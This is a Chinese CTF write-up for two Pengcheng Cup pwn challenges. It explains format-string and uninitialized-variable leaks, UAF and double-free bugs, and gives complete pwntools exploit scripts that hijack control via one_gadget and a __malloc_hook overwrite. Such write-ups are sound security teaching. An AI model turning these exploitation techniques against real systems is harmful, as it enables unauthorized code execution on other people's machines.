鹏城杯线下部分pwn题详解

栏目: C · 发布时间: 6年前

内容简介:这次鹏城杯线下槽点很多,但是主要原因还是自己TCL。。这里我就选了比较简单的两题详细讲一下解题思路,如讲得不对,欢迎大佬指正。这题的泄露地址很容易,有个格式化字符串漏洞和变量未初始化,这两个都可以用来泄露地址,难点是后面有个任意地址写的漏洞怎么利用,自己先调试了好久,后来别的师傅写出脚本后我看了一眼才恍然大悟,太强了,mark。

鹏城杯线下部分pwn题详解

前言

这次鹏城杯线下槽点很多,但是主要原因还是自己TCL。。这里我就选了比较简单的两题详细讲一下解题思路,如讲得不对,欢迎大佬指正。

shotshot

这题的泄露地址很容易,有个格式化字符串漏洞和变量未初始化,这两个都可以用来泄露地址,难点是后面有个任意地址写的漏洞怎么利用,自己先调试了好久,后来别的师傅写出脚本后我看了一眼才恍然大悟,太强了,mark。

1、查看保护

主要开了canary和nx。

鹏城杯线下部分pwn题详解

2、泄露地址

程序welcome函数中的变量v1没有初始化,show函数有个明显的格式化字符串漏洞,都可以用于泄露地址。

鹏城杯线下部分pwn题详解

鹏城杯线下部分pwn题详解

(1)利用变量未初始化泄露

在这里下个断点,输入几个‘a’,看看printf函数的栈里有什么。

鹏城杯线下部分pwn题详解

有这里可以看出,只要我们输入8个a,就能把后面的地址泄露出来,即<_IO_stdfile_2_lock>

鹏城杯线下部分pwn题详解

(2)利用格式化字符串泄露地址

这里我通过暴力泄露__libc_start_main的地址来获得基地址,偏移为11。

鹏城杯线下部分pwn题详解

代码为

p.recvuntil('Your name :')
p.sendline('aaa')
add(0x20,'%11$lx')
show()
libc_start_main=int(p.recv(12),16)-0xf0

#gdb.attach(p)
print hex(libc_start_main)
libcbase=libc_start_main-0x0020740
print hex(libcbase)

鹏城杯线下部分pwn题详解

3、低字节任意改

我们来看一下这里会执行start+32的地址,只要我们改掉这里的地址就能执行到我们想要的地方。

鹏城杯线下部分pwn题详解

在0x00040096C和0x00400C07下断点调试可以知道a1和start是同一个地址,即0x7ffff7ff5000,当v3等于0的时候就会有一次低字节任意写的机会,改写的位置就是我们输入的id,改写的内容就是我们输入的luckynum。

鹏城杯线下部分pwn题详解

鹏城杯线下部分pwn题详解

这时只要我们id输入为32,就能改写start+32的位置,输入luckynum为0xaf就能执行0x0400AAF ,即read。代码为

def shot(num,id):
    p.recvuntil('5. exitn')
    p.sendline('4')
    p.recvuntil('3. C++n')
    p.sendline(str(num))
    p.recvuntil('Input the id:')
    p.sendline(str(id))    

def shoter():
    p.recvuntil('5. exitn')
    p.sendline('4')
    p.recvuntil('3. C++n')
    p.sendline('4')

shot(1,32)
for i in range(3):
    shoter()
p.recvuntil('Give me your luckynum:n')

p.sendline('175')

这时在0x00400A58下断点,就可以知道返回地址的偏移。由下图可以看出,偏移为0x10

鹏城杯线下部分pwn题详解

这时我们输入0x18个a就能崩溃

鹏城杯线下部分pwn题详解

完整exp

from pwn import*
context.log_level=True
p=process('./shotshot')

elf=ELF('shotshot')
libc=ELF('libc.so.6')


def add(leng,x):
    p.recvuntil('5. exitn')
    p.sendline('1')
    p.recvuntil("weapon's name:n")
    p.sendline(str(leng))
    p.recvuntil('Input the name:n')
    p.sendline(x)
    p.recvuntil('Success!n')
def delete():
    p.recvuntil('5. exitn')
    p.sendline('3')
    p.recvuntil("I can't believe it!")

def show():
    p.recvuntil('5. exitn')
    p.sendline('2')
def shot(num,id):
    p.recvuntil('5. exitn')
    p.sendline('4')
    p.recvuntil('3. C++n')
    p.sendline(str(num))
    p.recvuntil('Input the id:')
    p.sendline(str(id))    

def shoter():
    p.recvuntil('5. exitn')
    p.sendline('4')
    p.recvuntil('3. C++n')
    p.sendline('4')


p.recvuntil('Your name :')
p.sendline('aaa')
add(0x20,'%11$lx')
show()
libc_start_main=int(p.recv(12),16)-0xf0

#gdb.attach(p)
print hex(libc_start_main)
libcbase=libc_start_main-0x0020740
print hex(libcbase)
one=libcbase+0xf02a4
shot(1,32)
for i in range(3):
    shoter()
p.recvuntil('Give me your luckynum:n')

p.sendline('175')
sleep(0.5)
p.sendline('a'*16+p64(one))
p.interactive()

littlenote

这道题目不知怎么回事,比赛刚开始没多久就有人做出来了?其实这题关键的点就是要泄露地址,然后就是简单的改malloc hook了,我赛后跟别人交流了一下,没想到这道题有三种泄露的方法。其中一种是我万万没想到的。。

1、查看保护

这里主要开启了canary和NX保护

鹏城杯线下部分pwn题详解

2、ida打开分析

这里的addnote限制了大小,只有0x60和0x20,而且,这里还有一个UAF

鹏城杯线下部分pwn题详解

freenote里还有一个UAF,以及double free漏洞

鹏城杯线下部分pwn题详解

hacker函数里有个负数组越界,不过貌似没什么用额。。

鹏城杯线下部分pwn题详解

3、泄露地址

(1)、利用scanf函数泄露地址

当时听到还能这样泄露真的崩溃了,竟然还能这么简单。。只要在这里输入一个‘a’,就会输出v4的地址。

鹏城杯线下部分pwn题详解

鹏城杯线下部分pwn题详解

(2)、利用double free覆盖got表泄露地址

这里利用fastbin attack到got表的位置,然后就会输出上面的地址,不过这种方法利用的条件要很挑剔,在上面只找到了一个合适的位置attack。然后执行show就会输出 IO_2_1_stderr 的地址

鹏城杯线下部分pwn题详解

代码如下

add('a','Y')
add('a','Y')
delete(0)
delete(1)
delete(0)

add(p64(elf.got['stdout']-3),'Y')
print hex(elf.got['stdout'])
add('a','Y')
add('a','Y')

add('a'*18,'Y')
show(5)

(3)、利用double free修改chunk的size泄露

因为这里UAF只能泄露堆的地址,所以这里我们可以利用double free修改fd为堆块的地址然后覆盖chunk改下一个chunk的size。free后会放入unsorted bin,最后利用show输出泄露main_arena的地址。师傅的代码如下:

add("1"*8)
add("2"*0x10 + p64(0)+p64(0x71))
add("3"*0x10 + p64(0)+p64(0x21))
add((p64(0) + p64(0x21))*4)
free(1)
free(0)
free(1)
heap = show(0)
print hex(heap)
add(p64(heap+0x20)[0:2])
add("2"*8)
add("3"*8)
add("4"*0x40 + p64(0) + p64(0x91))
free(2)
add("x88")
addr = show(8)

4、改malloc hook为one_gadget

既然地址知道了,我们就可以利用double free改fd指针为malloc hook附近的地方,使之成为合法的chunk

delete(2)
delete(3)
delete(2)
one=libcbase+0xf02a4
add(p64(malloc-0x13),'Y')
add('a','Y')
add('a','Y')
#gdb.attach(p)
add('a'*3+p64(one),'Y')
delete(7)
delete(7)

鹏城杯线下部分pwn题详解

完整exp

from pwn import*
context.log_level=True
p=process('./littlenote')
#p=remote('172.91.0.64',8088)
elf=ELF('littlenote')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')


def add(x,f):
    p.recvuntil('Your choice:n')
    p.sendline('1')
    p.recvuntil("Enter your noten")
    p.sendline(x)
    p.recvuntil('Want to keep your note?n')
    p.sendline(str(f))
    p.recvuntil('Donen')
def delete(id):
    p.recvuntil('Your choice:n')
    p.sendline('3')
    p.recvuntil("Which note do you want to delete?")
    p.sendline(str(id))    
def show(id):
    p.recvuntil('Your choice:n')
    p.sendline('2')
    p.recvuntil('Which note do you want to show?n')
    p.sendline(str(id))
def hack():

    p.recvuntil('Your choice:n')
    p.sendline('5')
    p.recvuntil("Enter administrator's name:n")
    p.sendline('a')
def hacker(x):
    for i in range(-15,-9):
        p.recvuntil('Enter hacker index:n')
        p.sendline(str(i))
        p.recvuntil('Enter hacker age:n')
        p.sendline(x)
add('a','Y')
add('a','Y')
delete(0)
delete(1)
delete(0)

add(p64(elf.got['stdout']-3),'Y')
print hex(elf.got['stdout'])
add('a','Y')
add('a','Y')

add('a'*18,'Y')
show(5)
#gdb.attach(p)
#p.recv()
p.recvuntil('aaaaaaaaaaaaaaaaaan')
raw_input()
a=u64(p.recv(6).ljust(0x8,'x00'))
libcbase=a-libc.symbols['_IO_2_1_stderr_']
print hex(a)
print hex(libcbase)
malloc=libcbase+libc.symbols['__malloc_hook']
delete(2)
delete(3)
delete(2)
one=libcbase+0xf02a4
add(p64(malloc-0x13),'Y')
add('a','Y')
add('a','Y')
#gdb.attach(p)
add('a'*3+p64(one),'Y')
gdb.attach(p)
delete(7)
delete(7)


p.recv()
p.interactive()

小结

通过这次比赛,又学到了不少东西,让我清楚得认识到自己TCL,师傅们太强了,笑看神仙打架,今后还需要继续努力。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Java程序设计与应用开发

Java程序设计与应用开发

於东军 / 清华大学出版社 / 2005-3 / 27.00元

本书作为Java程序的入门与应用教材,共分为3部分:第一部分讲解Java程序设计的基础知识,包括Java基本编程语言、面向对象设计思想、类、对象、接口以及异常处理。第二部分讲解Java程序设计的高级知识,包括:GUI编程、套接口编程、I/O系统、数据库访问以及多线程编程。第三部分详细分析一个实际项目的开发过程,包括系统分析及功能实现。在项目实例中综合应用第一、二部分的Java知识,能够帮助读者进一......一起来看看 《Java程序设计与应用开发》 这本书的介绍吧!

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具